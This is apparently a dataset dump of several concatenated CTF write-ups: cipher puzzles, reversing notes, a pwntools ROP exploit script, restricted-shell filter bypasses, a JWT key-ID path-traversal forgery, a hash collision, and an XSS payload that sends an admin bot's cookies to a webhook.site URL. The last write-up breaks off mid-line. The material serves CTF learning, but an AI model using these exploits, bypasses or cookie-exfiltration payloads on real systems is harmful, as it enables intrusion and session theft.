text_chunk
stringlengths
151
703k
### Stego - Neural network ![task](https://github.com/zer00d4y/writeups/assets/128820441/42ed85de-1a92-4a22-a9bb-a4f23c734489) We see that one sentence is written with different case Replace small letters with A, capital letters with B `In TexT steGaNograpHY, the SECRet MEsSage Is tYPiCallY emBdded bY making suBtIE MOdiFIcATioNs` `BA BAAB AAABABAAAAABB AAA BBBBAA BBABAAA BA ABBABAAAB AABAAAA AB AAAAAA AABABB BBAABBABBAABA` [Bacon Cipher decoder](https://www.dcode.fr/bacon-cipher) FLAG: CODEBY{URIGHTITISBAC?NS}
# Full writeupA detailled writeup can be found [here](https://ihuomtia.onrender.com/umass-rev-free-delivery). # Summarized Solution- Decompile the apk using `jadx`- Extract a base64 encoded string from `MainActivity.java`, the string is `AzE9Omd0eG8XHhEcHTx1Nz0dN2MjfzF2MDYdICE6fyMa`.- Decode the string and then xor it with the key `SPONGEBOBSPONGEBOBSPONGEBOBSPONGEBOBSPONGEBOB`, then you'll obtain `Part 1: UMASS{0ur_d3l1v3ry_squ1d_`- In the decompiled apk, look for a shared library named `libfreedelivery.so`, decompile it and extract some data that was xored with the byte `0x55`, the xored bytes are `\x30\x36\x3d\x3a\x75\x77\x05\x34\x27\x21\x75\x01\x22\x3a\x6f\x75\x22\x64\x39\x39\x0a\x37\x27\x64\x3b\x32\x0a\x64\x21\x0a\x27\x64\x32\x3d\x21\x0a\x65\x23\x66\x27\x0a\x74\x28\x77\x55`, xor them with `0x55` and you'll obtain `echo "Part Two: w1ll_br1ng_1t_r1ght_0v3r_!}"\x00'`- Put together with the first part, we get the full flag: `UMASS{0ur_d3l1v3ry_squ1d_w1ll_br1ng_1t_r1ght_0v3r_!}`
> https://uz56764.tistory.com/124 ```pyfrom pwn import *import struct context.arch = "amd64" nan = struct.unpack("Q", struct.pack("d", float('nan')))[0] #r = process("dotcom_market")r = remote("dotcom.shellweplayaga.me", 10001 ) r.sendlineafter(b"Ticket please:", b"ticket{here_is_your_ticket}") r.sendlineafter(b"Enter graph description:", b"123") r.sendlineafter(b">", b"0")s = f"0|0|0|0|0|" + "A"*0x400s = f"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode()) r.sendlineafter(b">", b"0")s = f"0|0|0|0|0|" + "A"*0x400s = f"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode()) r.sendlineafter(b">", b"66")r.sendlineafter(b">", b"1") r.sendlineafter(b">", b"0")s = f"0|{nan}|0|0|0|" + "A" * 0x400s = f"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode()) r.sendlineafter(b">", b"1")r.recvuntil(b"r = ") leak = float(r.recvuntil(b" ", drop=True).decode())libc_leak = u64(struct.pack("d", leak * 10))libc_leak = libc_leak & ~0xffflibc_base = libc_leak - 0x21a000 pop_rdi = libc_base + 0x000000000002a3e5pop_rsi = libc_base + 0x000000000002be51pop_rdx_rbx = libc_base + 0x00000000000904a9write = libc_base + 0x0114870read = libc_base + 0x01147d0 print(f'libc_base = {hex(libc_base)}') r.sendlineafter(b">", b"1")r.sendlineafter(b">", b"0") raw_input()pay = b'1280|'pay += b'(): Asse' + b'A'*0x30pay += p64(0x401565)pay += b'X'*(1284 - len(pay))r.sendline(pay) pay = b'B'*0x18pay += p64(pop_rdi)pay += p64(0x6)pay += p64(pop_rsi)pay += p64(libc_base+0x21c000)pay += p64(pop_rdx_rbx)pay += p64(0x100)pay += p64(0x0)pay += p64(read) pay += p64(pop_rdi)pay += p64(0x1)pay += p64(pop_rsi)pay += p64(libc_base+0x21c000)pay += p64(pop_rdx_rbx)pay += p64(0x100)pay += p64(0x0)pay += p64(write)pay += p64(0xdeadbeef) r.sendline(pay) r.interactive()```
# AZERTY Category: Cryptography Files: ## Description ```]o,'q\ji,ESI{?QHOK$u26o'$YUIOP{$R``` I dont need to tell you much in details ? ## Writeuphttps://www.dcode.fr/keyboard-shift-cipher urchinsec{KEYBOARD_w91rh_QWERTY_}
While managing some of our thermal systems, we noticed unusual behavior. We collected the network traffic, see if you can find anything unusual. Developed by: Dan D [final.pcapng](https://github.com/Nightxade/ctf-writeups/blob/master/assets/CTFs/Jersey-CTF-IV-2024/final.pcapng) --- Follow TCP Stream --> Stream 1 --> Hex Dump Some bytes left out --> all the bytes after the "}" are filled into the missing byte places in sequential order. jctf{I_rEllAy_H0p3_thi$_i$nt_a_p0ol_sy$t3m_aGa1n}
> I have encrypted some text but it seems I have lost the key! Can you find it? With the hint given in the Hint section, we rearrange the code according to XOR. “A text string can only be decrypted by reapplying the XOR function with the key” *Code in question*![](https://margheritaviola.com/wp-content/uploads/2024/03/image-47.png) *Modified code*![](https://margheritaviola.com/wp-content/uploads/2024/03/image-48.png) ```wctf{X0R_i5_f0rEv3r_My_L0Ve}```
We can see a shell ```$ cat with | vim/bin/bash: line 1: vim: command not found```And apparently the shell is stuck in a mode, where each command is prefixed by a 'cat' command of some file, which is piped to the command we are entering. For example, the command 'more' will result in the piped text to be printed on the screen:```$ cat with | moreA cantilever is a rigid structural element that extends horizontally...``` We can also transform this text with 'base64'```$ cat with | base64QSBjYW50aWxldmVyIGlzIGEgcmlnaWQgc3RydWN0dXJhbCBlbGVtZW50IHRoYXQgZXh0ZW5kcyBob3Jpem9udGFsbHkgYW5kIGlzIHVuc3VwcG9ydGVkIGF0IG9uZSBlbmQuIFR5cGljYWxseSBpdCBl...```And 'ls' appears to be executable too```$ cat with | lsflag.txtrunwith```Some characters seem to be disallowed ```$ cat with | -disallowed: -$ cat with | ;disallowed: ;$ cat with | flagdisallowed: flag Also disallowed are ", ', $, \, -, & and flag```We might be able to circumvent the forbidden 'flag' keyword with some command line tools: ```$ cat with | echo fuag.txt | tr u lflag.txt$ cat with | echo fuag.txt | tr u l | cat/bin/bash: fork: retry: Resource temporarily unavailableflag.txt```Another approach```printf %s fl a g . t x t``` Solution: ```$ cat with | printf %s fl a g . t x t | xargs cat``` Flag:```bctf{owwwww_th4t_hurt}```
We are thrown into a shell that adds the prefix 'wa' to each command line parameter. ``` _ _ __ __ __ __ _ | |__ __ _ ___ | |_ \ V V // _` | | '_ \ / _` | (_-< | ' \ \_/\_/ \__,_| |_.__/ \__,_| /__/_ |_||_| _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' $ `bash`;sh: 1: wabash: not found$ lssh: 1: wals: not found``` we can use the command '(wa)it' to escape this condition```$ it&&ls run```We can use the "[internal/input field separator](https://en.wikipedia.org/wiki/Input_Field_Separators)" variable IFS to print our flag.txt content.```$ it&&cat${IFS}/flag.txtbctf{wabash:_command_not_found521065b339eb59a71c06a0dec824cd55}
Attachments: * imagehost.zip In this zip file there is a python implementation of an imagehost web server.This implementation contains code for session handling via JSON Web Tokens:```pythonfrom pathlib import Path import jwt def encode(payload, public_key: Path, private_key: Path): key = private_key.read_bytes() return jwt.encode(payload=payload, key=key, algorithm="RS256", headers={"kid": str(public_key)}) def decode(token): headers = jwt.get_unverified_header(token) public_key = Path(headers["kid"]) if public_key.absolute().is_relative_to(Path.cwd()): key = public_key.read_bytes() return jwt.decode(jwt=token, key=key, algorithms=["RS256"]) else: return {}``` Creating a token via login produces something like this```eyJhbGciOiJSUzI1NiIsImtpZCI6InB1YmxpY19rZXkucGVtIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjozLCJhZG1pbiI6bnVsbH0.O46AMfAsFuXqRNkf00FrDYGQN1lqt7M3gAExp-RXv7C1Po4TUNnnnpb_DR8UrrBYIfn1kvXBxQzXr2EqJduh67fs3MRGaYXmSyLkQ26QBDfuF-L6A89e4g5Jf4qE3jirp210i1q2374vqVW9VeCoP7hfkLlPuSK5VDAm8BfDaSRF4odWH1klpT_fo03NsVpahg1H0sgak0lDvAssVXcbhZ-8KRo64QOcL8tKjZzbCsoll-rfxgyKdGRyLgVxBRw6Kay1ei_dG6j7mNGnQupNr8fy9IdCexEOABjAHoI640cujOl7z0g2SUB4tzG7txVbRm15jcysBvD_NVonvoE3VGUgbSg_V5lkj5ofLNWCh9jN7hlj6xEXql3QzsVWJQHgYm5dpEuoxizXdozqvi6AOKn6SR5BG1jHYs1XCnSW5XnqbO6OBfTdSTYas1lRJ-NCzsvJs3wYEbjHJp9CDMA9NCJJVDTZ7EkMyhrN7CJH8LHGU8ZrTkqKFKl3_bQeQWmgfI9URIatlLafnk8aw7YkOU4gkXJqZvtwpfaMYF8GgIujeVM7I8c11jPF-k58OAM7lUOOpBsK_fW9JQQ9_VZqF6pJltKpwR3I-saRcyL3p6M-3CpwWI2FS4bqfkcQDj9wuqxEF45uP-wn3TyqAteV1wX_Ei7N5uVNQ8cHSFIigPI```This can be decoded via https://jwt.io/The header```{ "alg": "RS256", "kid": "public_key.pem", "typ": "JWT"}```The payload```{ "user_id": 3, "admin": null}``` We suspect that we can upload our own public key pretending it is an image file. We will sign our payload containing the admin user_id, with a known private key. Then use our own public key to check the signature. For signing our own payloadPublic Key: ```-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr79D8wfWGTEBR5z/hSI6W799WS+kCZoYw0UqooJQ5nzld1mGwgNW+yNyxHdDaBfxjFtetW6anDaissUpQqRljVRIvt3Mo85t4pgoRJEiUFQ6YtsLaUXax/ZMaYmhilf7IvlkEX9fn6bPlpBOqGFe4FhrEhyt38rOiBtAxWm0pcRyWHZ+LuCbmJu41+AGTzfNiGFWJSQ7yN0w5sASpdkNU+mdYez2CbyqrQdPRJtilLdFzggFYiVD8EfabsOTTKUkIi+Zgg8MRRvMm+xYIxex4Vawf8devya18NRoN+aIahCdA753hpAcuDldzUEtPytuS+1946+KUdpPFWiKUgaMYQIDAQAB-----END PUBLIC KEY-----``` Private Key:```-----BEGIN PRIVATE KEY-----MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCvv0PzB9YZMQFHnP+FIjpbv31ZL6QJmhjDRSqiglDmfOV3WYbCA1b7I3LEd0NoF/GMW161bpqcNqKyxSlCpGWNVEi+3cyjzm3imChEkSJQVDpi2wtpRdrH9kxpiaGKV/si+WQRf1+fps+WkE6oYV7gWGsSHK3fys6IG0DFabSlxHJYdn4u4JuYm7jX4AZPN82IYVYlJDvI3TDmwBKl2Q1T6Z1h7PYJvKqtB09Em2KUt0XOCAViJUPwR9puw5NMpSQiL5mCDwxFG8yb7FgjF7HhVrB/x16/JrXw1Gg35ohqEJ0DvneGkBy4OV3NQS0/K25L7X3jr4pR2k8VaIpSBoxhAgMBAAECggEAAvgAFsgTSzkFQpN9yz7gFZ5NKLNV4fnj+NH3ebfp9A/IbEkDTk4SQ0MmuFgDp+uuH1LojVfrRY/kdRDArP0UEFRr92ntn9eACpGrjfd16P2YQCTfOym0e7fe0/JQy9KHRfCoqqVAPTUbGPnyczSUXsWtlthsTT1Kuni74g3SYPGypQuO9j2ICP8N9AeNh2yGHf3r2i5uKwOCyErniwzzBHJPBcMHfYD3d8IOTgUTmFLgesBAzTEwLmAy8vA0zSwGfFaHMa0OhjZrc+4f7BUU1ajD9m7Uskbs6PMSjqLZYzPGctCkIeyaLIc+dPU+3Cumf5EkzcT0qYrX5bsadGIAUQKBgQD3IDle2DcqUCDRzfQ0HJGoxjBoUxX2ai5qZ/2D1IGAdtTnFyw73IZvHzN9mg7g5TZNXSFlHCK4ZS2hXXpylePML7t/2ZUovEwwDx4KbenwZLAzLYTNpI++D0b2H53+ySpEtsA6yfq7TP+PWa2xUnLCZqnwZcwrQd/0equ58OLJ0QKBgQC2Dt8il/I0rTzebzfuApibPOKlY5JyTTnUBmJIh8eZuL5obwRdf53OljgMU5XyTy7swzot4Pz7MJlCTMe/+0HvjuaABcDgmJd/N4gcuR+chOiYw7Bc2NSyGodq2WR/f/BiMcXBAbqEALbXAQy9mkCH4xePTdEA3EPYXml3SDCtkQKBgGv67JaAqzoV4QFLmJTcltjEIIq1IzeUlctwvNlJlXxocAa5nV5asXMEkx8inbWu8ddEBj+D17fyncmQatx+mhayFJ98lyxBepjVQi8Ub8/WbxctoIWqjhRh4IPStNqLU6jKoZwOfTwyHMiqSrbca8B902tzT47nLdBJeZe5pZ7BAoGAHIBvhmbrUDvez6PxyZ02bvc1NFdGUgatCviE4n3/TZ2SkZ7vvAOCnRj/ZU6gpvKmkgJuVUhn0ptlIvAKRY/8XpislVZRP9gjv5LeCEEjJcnY8DGSprZ7dfaZRK0MArnw1C6emvy+SnQiK77KU9SWTa/LvG+eTNgu9uyw7i+rD0ECgYBKphKWj9ru+Q0Bp5IHCBn5PXhCuCzaHdWhka8tl44LjBSLLect2PA9oFiKEUA8HSnYylAnZ1LCca7uTrK9jJlLmetr5MaO3e9xDzlq4CcEo3+7KyVhDTylzM7pfx3QjcSrwtZYiNTRU+1pEPfIqXv5I8STSTbbJXCTwQ9LY2TXvw==-----END PRIVATE KEY-----``` The modified header:```{ "alg": "RS256", "kid": "/a/our_own_public_key.pem", "typ": "JWT"}``` The modified session payload```{ "user_id": 1, "admin": null}```We can create the needed token with the token.py functions given by the task source ```>>> from pathlib import Path>>> encode({"user_id": 1, "admin": True}, Path('../../public_key.pem'), Path('../../private_key.pem'))'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii4uLy4uL3B1YmxpY19rZXkucGVtIn0.eyJ1c2VyX2lkIjoxLCJhZG1pbiI6dHJ1ZX0.oGlGsmuASM6q4oxmhMVXVscY0xZyBnex8W5VuKPBWlporlGgrn9LdoHqi4aLel6P1VxRvCDptRX9_tmNQzcUSTl3fLkPkrIUAFb-Wf0ZHpIsQ6j2_kmTEZMoenr72B6G9MUg4Z_qh1Y8JM5DtTENWpC1pM_KfKGJorfT_6wgseaBxvm7PDDQyuPAVD4gAY0PUR2_VJH3M4h94e0c2Gc2sIh-ZjbRyDnhVN9qaM0z54gNbHklEIPlrHt2PxoxC3yowbR9aFV0kdy9fk54EtFIpOKVGj84Bs3Q3rXnILvLr1KEryiw4wyqSJ2cSkeiuAikXCpd-_SGsw_DU1Xdng6FsA'```We created + uploaded postscript 1x1p image with public key attached```%!PS-Adobe-3.0 EPSF-3.0%%Creator: GIMP PostScript file plug-in V 1,17 by Peter Kirchgessner%%Title: evil.eps%%CreationDate: Sun Apr 14 02:06:11 2024%%DocumentData: Clean7Bit%%LanguageLevel: 2%%Pages: 1%%BoundingBox: 14 14 15 15%%EndComments%%BeginProlog% Use own dictionary to avoid conflicts10 dict begin%%EndProlog%%Page: 1 1% Translate for offset14.173228346456694 14.173228346456694 translate% Translate to begin of first scanline0 0.24000000000000002 translate0.24000000000000002 -0.24000000000000002 scale% Image geometry1 1 8% Transformation matrix[ 1 0 0 1 0 0 ]% Strings to hold RGB-samples per scanline/rstr 1 string def/gstr 1 string def/bstr 1 string def{currentfile /ASCII85Decode filter /RunLengthDecode filter rstr readstring pop}{currentfile /ASCII85Decode filter /RunLengthDecode filter gstr readstring pop}{currentfile /ASCII85Decode filter /RunLengthDecode filter bstr readstring pop}true 3%%BeginData: 32 ASCII Bytescolorimage!<7Q~>!<7Q~>!<7Q~>%%EndDatashowpage%%Trailerend%%EOF -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr79D8wfWGTEBR5z/hSI6W799WS+kCZoYw0UqooJQ5nzld1mGwgNW+yNyxHdDaBfxjFtetW6anDaissUpQqRljVRIvt3Mo85t4pgoRJEiUFQ6YtsLaUXax/ZMaYmhilf7IvlkEX9fn6bPlpBOqGFe4FhrEhyt38rOiBtAxWm0pcRyWHZ+LuCbmJu41+AGTzfNiGFWJSQ7yN0w5sASpdkNU+mdYez2CbyqrQdPRJtilLdFzggFYiVD8EfabsOTTKUkIi+Zgg8MRRvMm+xYIxex4Vawf8devya18NRoN+aIahCdA753hpAcuDldzUEtPytuS+1946+KUdpPFWiKUgaMYQIDAQAB-----END PUBLIC KEY----- ```We can exploit a path traversal vulnerability using "/app/../uploads" (must start with /app)We then change the jwt header path to the given upload path and can login using the generated admin jwt token. Flag: `bctf{should've_used_imgur}`
__Original writeup:__ <https://github.com/kyos-public/ctf-writeups/blob/main/insomnihack-2024/Pedersen.md> # The Challenge The goal was to find a collision in the Pedersen hash function (i.e., find distinct inputs that yield the same output). We had access to a running version of the code (a hashing oracle), as indicated in the `README.md`: ```MarkdownYou do not need to go to the CERN to have collisions, simply using Pedersen hash should do the trick. `nc pedersen-log.insomnihack.ch 25192` Test locally: `cargo run -r```` The implementation (in Rust) of the hash function was provided. All the interesting bits were in the `main.rs` file: ```Rustuse starknet_curve::{curve_params, AffinePoint, ProjectivePoint};use starknet_ff::FieldElement;use std::ops::AddAssign;use std::ops::Mul;use std::time::Duration;use std::thread::sleep; mod private; const SHIFT_POINT: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::SHIFT_POINT);const PEDERSEN_P0: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::PEDERSEN_P0);const PEDERSEN_P2: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::PEDERSEN_P2); fn perdersen_hash(x: &FieldElement, y: &FieldElement) -> FieldElement { let c1: [bool; 16] = private::C1; let c2: [bool; 16] = private::C2; let const_p0 = PEDERSEN_P0.clone(); let const_p1 = const_p0.mul(&c1;; let const_p2 = PEDERSEN_P2.clone(); let const_p3 = const_p0.mul(&c2;; // Compute hash of two field elements let x = x.to_bits_le(); let y = y.to_bits_le(); let mut acc = SHIFT_POINT; acc.add_assign(&const_p0.mul(&x[..248])); acc.add_assign(&const_p1.mul(&x[248..252])); acc.add_assign(&const_p2.mul(&y[..248])); acc.add_assign(&const_p3.mul(&y[248..252])); // Convert to affine let result = AffinePoint::from(&acc;; // Return x-coordinate result.x} fn get_number() -> FieldElement { let mut line = String::new(); let _ = std::io::stdin().read_line(&mut line).unwrap(); // Remove new line line.pop(); let in_number = FieldElement::from_dec_str(&line).unwrap_or_else(|_| { println!("Error: bad number"); std::process::exit(1) }); in_number} fn main() { println!("Welcome in the Large Pedersen Collider\n"); sleep(Duration::from_millis(500)); println!("Enter the first number to hash:"); let a1 = get_number(); println!("Enter the second number to hash:"); let b1 = get_number(); let h1 = perdersen_hash(&a1, &b1;; println!("Hash is {}", h1); println!("Enter the first number to hash:"); let a2 = get_number(); println!("Enter the second number to hash:"); let b2 = get_number(); if a1 == a2 && b1 == b2 { println!("Input must be different."); std::process::exit(1); } let h2 = perdersen_hash(&a2, &b2;; println!("Hash is {}", h2); if h1 != h2 { println!("No collision."); } else { println!("Collision found, congrats here is the flag {}", private::FLAG); }}``` So we can almost run the code locally, but the `private` module is missing. Looking at the rest of the code, we can infer that the private module contains the flag and two mysterious constants: `C1` and `C2`, which we can initialize arbitrarily for now: ```Rustmod private { pub const FLAG: &str = "INS{this_is_the_flag}"; pub const C1: [bool; 16] = [false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false]; pub const C2: [bool; 16] = [false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false];}``` We then see in the main function that we actually need two numbers to compute one hash value. We must therefore find four numbers `a1`, `b1`, `a2`, `b2`, such that `(a1 == a2 && b1 == b2)` is false, but `perdersen_hash(&a1, &b1) == perdersen_hash(&a2, &b2)`. A first important observation here is that `b1` can be equal to `b2`, as long as `a1` is different from `a2`. # The Theory There are two non-standard imports: `starknet_curve` and `starknet_ff`, which are both part of the `starknet-rs` library: <https://github.com/xJonathanLEI/starknet-rs>. The documentation tells us how the Pedersen hash function is supposed to be implemented: <https://docs.starkware.co/starkex/crypto/pedersen-hash-function.html>. Normally, $H$ is a Pedersen hash on two field elements, $(a, b)$ represented as 252-bit integers, defined as follows (after some renaming to keep the math consistent with the code): $$ H(a, b) = [S + a_\textit{low} \cdot P_0 + a_\textit{high} \cdot P_1 + b_\textit{low} \cdot P_2 + b_\textit{high} \cdot P_3]_x $$ where - $a_\textit{low}$ is the 248 low bits of $a$ (same for $b$);- $a_\textit{high}$ is the 4 high bits of $a$ (same for $b$);- $[P]_x$ denotes the $x$ coordinate of an elliptic-curve point $P$;- $S$, $P_0$, $P_1$, $P_2$, $P_3$, are constant points on the elliptic curve, derived from the decimal digits of $\pi$. But looking at the challenge's implementation, we see that the constant points are actually related: - $P_1 = P_0 \cdot C_1$- $P_3 = P_2 \cdot C_2$ Given the above equations, we can rewrite the hash function as follows: $$ H(a, b) = [S + (a_\textit{low} + a_\textit{high} \cdot C_1) \cdot P0 + (b_\textit{low} + b_\textit{high} \cdot C_2) \cdot P2]_x $$ Since we've established that we can keep $b$ constant, let's find a pair $a$ and $a'$ such that $$ a_\textit{low} + a_\textit{high} \cdot C_1 = a_\textit{low}' + a_\textit{high}' \cdot C_1 $$ Given the linear nature of these equations, there is a range of solutions. If $a_\textit{low}$ is increased by some $\delta$, then $a_\textit{high}$ can be decreased by $\delta/C_1$ to keep the term $(a_\textit{low} + a_\textit{high} \cdot C_1) \cdot P0$ unchanged. A straightforward solution is to pick $\delta = C_1$, which implies that if we increase $a_\textit{low}$ by $C_1$ and decrease $a_\textit{high}$ by 1, we have a collision. # The Practice Now in theory we know how to find a collision, but we don't actually know `C1` and `C2`. Since they are just 16 bits long, let's bruteforce them! Or at least one of them... As we don't need different values for `b1` and `b2`, we can leave them at 0 and thus `C2` is not needed. You could bruteforce `C1` with a piece of code that looks like this: ```Rust// Try all possible values of c1for i in 0..(1 << 16) { let mut c1 = [false; 16]; for j in 0..16 { c1[j] = (i >> j) & 1 == 1; } let const_p0 = PEDERSEN_P0.clone(); let const_p1 = const_p0.mul(&c1;; let const_p2 = PEDERSEN_P2.clone(); let const_p3 = const_p0.mul(&c2;; let x = x.to_bits_le(); let y = y.to_bits_le(); let mut acc = SHIFT_POINT; acc.add_assign(&const_p0.mul(&x[..248])); acc.add_assign(&const_p1.mul(&x[248..252])); acc.add_assign(&const_p2.mul(&y[..248])); acc.add_assign(&const_p3.mul(&y[248..252])); let result = AffinePoint::from(&acc;; // Check if the result is the expected hash if result.x == FieldElement::from_dec_str("3476785985550489048013103508376451426135678067229015498654828033707313899675").unwrap() { // Convert c1 to decimal let mut c1_dec = 0; for j in 0..16 { c1_dec |= (c1[j] as u16) << j; } println!("Bruteforce successful, c1 = {}", c1_dec); break; }}``` For this to work, we need to query the hashing oracle with $a_\textit{high} \ne 0$ (otherwise `C1` does not play any role in the computation of the final result) and $b_\textit{high} = 0$. For example, we could set the first number to $2^{248} = 452312848583266388373324160190187140051835877600158453279131187530910662656$ and the second number to $0$, and obtain a hash value of $3476785985550489048013103508376451426135678067229015498654828033707313899675$. We then find by bruteforce that $C_1 = 24103$. # The Solution Now that we have everything we need, the final solution is: ```Enter the first number to hash: 452312848583266388373324160190187140051835877600158453279131187530910662656Enter the second number to hash: 0Hash is: 3476785985550489048013103508376451426135678067229015498654828033707313899675 Enter the first number to hash: 24103Enter the second number to hash: 0Hash is: 3476785985550489048013103508376451426135678067229015498654828033707313899675``` This works because we start with $a_\textit{low} = 0$ and $a_\textit{high} = 1$ (i.e., $2^{248}$), and then we increase $a_\textit{low}$ by $C_1$ and decrease $a_\textit{high}$ by $1$ to obtain 24103. Submitting such a collision to `nc pedersen-log.insomnihack.ch 25192` gives us the `INS{...}` flag (which we forgot to save, sorry).
# Iron Dove Category: Cryptography Files:- ana_sawai.png ## Description Before she died Mariko-Sama left the message to Anjin-Sama. Read the message!!! Flag Format: urchinsec{fL4g_H3re} `author: @nicl4ssic` ## Writeup Draconic Language 1. Iokharic Language 2. Dovahzul Language urchinsec{W3_just_W4tcH1ng_Y0u_play_fair}
Attachments: * dist.zip The dist.zip contains an index.js file with the following code:```javascriptconst express = require('express')const puppeteer = require('puppeteer');const cookieParser = require("cookie-parser");const rateLimit = require('express-rate-limit');require('dotenv').config(); const app = express()const port = process.env.PORT || 3000 const CONFIG = { APPURL: process.env['APPURL'] || `http://127.0.0.1:${port}`, APPFLAG: process.env['APPFLAG'] || "fake{flag}",}console.table(CONFIG) const limiter = rateLimit({ windowMs: 60 * 1000, // 1 minute limit: 4, // Limit each IP to 4 requests per `window` (here, per minute). standardHeaders: 'draft-7', legacyHeaders: false,}) app.use(express.json());app.use(express.urlencoded({ extended: true }));app.use(cookieParser());app.set('views', __dirname + '/views');app.use(express.static("./public"));app.engine('html', require('ejs').renderFile);app.set('view engine', 'ejs'); function sleep(s){ return new Promise((resolve)=>setTimeout(resolve, s))} app.get('/', (req, res) => { res.render('index.html');}) app.get('/admin/view', (req, res) => { if (req.cookies.flag === CONFIG.APPFLAG) { res.send(req.query.content); } else { res.send('You are not Walter White!'); }}) app.post('/review', limiter, async (req, res) => { const initBrowser = puppeteer.launch({ executablePath: "/opt/homebrew/bin/chromium", headless: true, args: [ '--disable-dev-shm-usage', '--no-sandbox', '--disable-setuid-sandbox', '--disable-gpu', '--no-gpu', '--disable-default-apps', '--disable-translate', '--disable-device-discovery-notifications', '--disable-software-rasterizer', '--disable-xss-auditor' ], ignoreHTTPSErrors: true }); const browser = await initBrowser; const context = await browser.createBrowserContext() const content = req.body.content.replace("'", '').replace('"', '').replace("`", ''); const urlToVisit = CONFIG.APPURL + '/admin/view/?content=' + content; try { const page = await context.newPage(); await page.setCookie({ name: "flag", httpOnly: false, value: CONFIG.APPFLAG, url: CONFIG.APPURL }) await page.goto(urlToVisit, { waitUntil: 'networkidle2' }); await sleep(1000); // Close await context.close() res.redirect('/') } catch (e) { console.error(e); await context.close(); res.redirect('/') }}) app.listen(port, () => { console.log(`Purdue winning on port ${port}`)})``` The app.post('/review', limiter, async (req, res) function is a Node.js server-side endpoint that uses Puppeteer to interact with a (server side) web browser programmatically. It takes a request body, parses its content, and then visits a specific URL on the application's domain using Puppeteer. Placing this payload inside of the 'message' field of the page form will lead to a call to the given webhook from the puppeteer browser:```html```Now we need to get the puppeteer browser to send its cookies as a request parameter to the webhook url.The problem is, that the content is sanitized via```javascriptconst content = req.body.content.replace("'", '').replace('"', '').replace("`", '');```So we need to find alternatives for the replaced characters. As the whole content gets passed in a URL parameter, we can make this script run successfully to call our webhook using URL encoding (' = %27) for the replaced chars:```html<script> function setUrl() { e = document.getElementById(%27asd%27); e.src = %27%27.concat(%27https://webhook.site/99853521-2093-4f3e-8f5a-8310bf862879?cookies=%27,%27asdf2%27); }</script>```Now we just need to extract the sites 'flag' cookie: ```html<script> function setUrl() { e = document.getElementById(%27asd%27); e.src = %27%27.concat(%27https://webhook.site/99853521-2093-4f3e-8f5a-8310bf862879?cookies=%27,document.cookie); }</script>```The flag is returned in the cookie URL parameter:```bctf{wow_you_can_get_a_free_ad_now!}```
# nloads ChatGPT: "Why did the application break up with the dynamic library? Because every time they got close, it changed its address!" Don't break up. Get the flag. There is only one flag. nloads provides us with 13613 folders of binaries, each folder contains a `./beatme` binary that takes 8 bytes of input.Concatenating all inputs in order of the folder numbers gives a JPG that contains the flag. ## Solution As the last few years this DEFCON Qualifiers had another ncuts challenge. In this version of the challenge we are given 13613 folders of binaries that contain a `beatme` executable and lots of shared objects that get loaded dynamically. ![](img/main.png) The `main` function of the `beatme` binaries first read in 8 bytes of input, load the shared objects and resolve a function pointer from them that is stored globally. The functions that are loaded sometimes just load another shared object and resolve another function.Some of them also open files and do checks on them. At the end of the loading chain have some sort of simple mathematical operation done on two 32 bit integer arguments. For the `0` folder the path of loaded objects and their code looks like this: ```./nloads/output/0/beatme├── ./hESMAGmJLcobKdDM.so | vpUjPultKryajeRF | dlopen│ └── ./fXIojFVxtoKLAQkl.so | cYUjXnCTKSsoWuTc | dlopen│ └── ./faqPTjZOOHXeXEpy.so | LEFxYyssPEkFvpMv | ADD├── ./gmslkgaWMJOutKwE.so | WwWwhaYzvESxxCtA | dlopen - fopen("/bin/cat")│ └── ./OpcfQADLYqnRHIrD.so | NfyDgNIyzqJBsfGC | dlopen│ └── ./PTOzoTFUytSUryUH.so | yyhOPBzqxJFfoibe | dlopen - fopen("/etc/passwd")│ └── ./gZqXyItfVsTnykLE.so | RZKYSMmIiDZRwEUo | clock_gettime├── ./YZAEtozBANntDssV.so | BsuVOixRHktNdzov | dlopen - fopen("/etc/passwd")│ └── ./giECPkQyMzTUivnO.so | dkCJxnpfHJkjQOXs | dlopen - fopen("/bin/cat")│ └── ./LbBISXFSnbuzCqLA.so | JhbxjMZkFnGqzKGo | ADD├── ./WtnSjtVeJWLcIgBy.so | IDnaWMupKzPlMsYd | dlopen - fopen("/bin/cat")│ └── ./OxQLBttjUWpVxuSj.so | WruKphsJMAMgFhlt | dlopen - fopen("/tmp//etcoypYMnEdeE")│ └── ./VexOOKcjwUCANWfb.so | MhiCbmiDRGeevfGO | dlopen - fopen("/bin/cat")│ └── ./INaRqvvzUowYHXvy.so | ZJjXnFqRtjlYvBMB | dlopen│ └── ./fYDIVIPIuHskBvRY.so | GmTLZFPmQdhOVGtQ | ADD├── ./AOinIPkXvMtrtbha.so | pnstlKQzXnehUbWP | dlopen│ └── ./WDhDHuuesoPtRCMX.so | XdpJmBLmALOHLqWC | ADD├── ./oSeJlOQqzYFRkBXO.so | tYUJnAiKvXEypybB | dlopen - fopen("/tmp//etcvPysvbcgxV")│ └── ./NeBYfDnofuzcfcOa.so | uqoOmnnLydHceoaY | dlopen│ └── ./AmiOWZLBXmVOGVXC.so | ZREWkEkEJCljQjvN | ADD├── ./qtgdwCpVabuYgJeB.so | WauZUfHZMyZrGIRm | dlopen - fopen("/bin/cat")│ └── ./vwhDqObLEawhHzbG.so | CMSpCHdOrDvZYIEI | dlopen│ └── ./WxpDsAgcpVmEBIjR.so | hQTzWnhthFHlfCJR | dlopen│ └── ./rhsHpKBVaYQbaajf.so | 